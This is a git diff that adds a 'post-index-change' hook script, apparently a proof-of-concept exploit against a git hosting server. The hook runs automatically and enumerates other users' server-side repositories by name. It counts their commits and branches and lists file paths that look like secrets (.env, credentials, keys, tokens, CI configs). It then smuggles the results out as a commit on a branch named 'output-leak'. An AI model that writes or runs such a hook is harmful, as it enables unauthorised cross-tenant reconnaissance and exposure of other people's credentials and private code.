diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..22adb4a --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,20 @@ +#!/bin/sh +GD=$(git rev-parse --absolute-git-dir) +REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') +OUT=$( { +for R in csoft/continuum-ui csoft/lv-demo texttomanga/TextToManga-AI-Studio texttomangahe/texttomanga-hebrew-ai-manga kabishev.andrey/test; do + p=/data/git/repositories/$R.git + if [ ! -d "$p" ]; then p=$(find /data/git/repositories -maxdepth 2 -iname "$(basename $R).git" -type d 2>/dev/null | head -1); fi + echo "== $R path=$p" + if [ -d "$p" ]; then + echo "commits=$(git --git-dir="$p" rev-list --all --count 2>/dev/null) refs=$(git --git-dir="$p" for-each-ref --format='%(refname)' 2>/dev/null | wc -l) tags=$(git --git-dir="$p" tag 2>/dev/null | wc -l) branches=$(git --git-dir="$p" branch 2>/dev/null | wc -l)" + git --git-dir="$p" log --all --name-only --pretty=format: 2>/dev/null | sort -u | grep -iE '\.env|\.env\.|secret|credential|config\.(json|ya?ml|php|ini)|\.pem|\.key$|token|\.npmrc|docker-compose|jenkins|\.gitlab-ci' | head -25 + else echo MISSING; fi +done +echo DONE + +} 2>&1; echo "[rc=$?]") +BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) +TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) +CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output") +git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"